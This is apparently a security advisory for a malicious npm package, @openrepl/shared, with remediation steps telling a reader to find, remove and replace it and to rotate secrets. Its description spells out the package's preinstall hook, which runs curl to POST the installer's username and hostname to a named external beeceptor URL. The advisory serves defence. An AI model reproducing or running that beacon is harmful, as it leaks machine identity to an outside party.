MAL-2026-14057 Malicious code in @openrepl/shared (npm)
Malicious package
Published
MAL-2026-14057 is a malicious package: @openrepl/shared (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-14057/ (Markdown: https://insights.sbomify.com/MAL-2026-14057/index.md)
- Package
- @openrepl/shared
- Registry
- npm
What is MAL-2026-14057?
MAL-2026-14057 is a malicious package in @openrepl/shared, published on 15 Aug 2026.
Official description
package.json declares a preinstall hook (
node index.js) that runs automatically on npm install. index.js shells out via child_process to execute curl -X POST against https://youjoex.free.beeceptor.com/$(whoami)/$(hostname), embedding the installer's OS username and hostname (captured via command substitution) in the URL path. beeceptor.com is a public request-inspection service commonly used as a low-effort exfiltration sink. The package advertises no functionality that would justify this network beacon and ships no other library code consistent with its shared name.What should I do about MAL-2026-14057?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.